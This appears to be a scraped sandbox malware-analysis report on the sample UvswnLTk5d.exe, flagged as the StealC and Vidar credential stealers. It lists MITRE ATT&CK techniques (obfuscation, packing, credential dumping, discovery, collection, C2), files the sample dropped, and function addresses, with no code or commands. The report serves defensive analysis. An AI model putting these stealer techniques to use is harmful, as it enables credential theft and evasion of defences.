Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UvswnLTk5d.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBAFBGIDHCBFHIECFCB

C:\ProgramData\BAEBGHCFCAAFIECAFIII

C:\ProgramData\DTBZGIOOSO.docx

C:\ProgramData\EBAKEBAE

C:\ProgramData\FBAAAKFCAFIIDHIDGHIECGDGID

C:\ProgramData\GDBKJDGI

C:\ProgramData\IDHIEBAAKJDHIECAAFHCAECAFC

C:\ProgramData\IJJJKEGHJKFHJKFHDHCFIJEGCA

C:\ProgramData\JDDHMPCDUJ.xlsx

C:\ProgramData\KATAXZVCPS.xlsx

C:\ProgramData\LTKMYBSEYZ.docx

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UvswnLTk5d.exe_40c4cbc1e7e68f9b5ee8a3a354e75a1451eb173_ff7284e0_bc5e2775-ce80-4979-9f77-0f0621df618c\Report.wer

Windows Analysis Report
UvswnLTk5d.exe

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre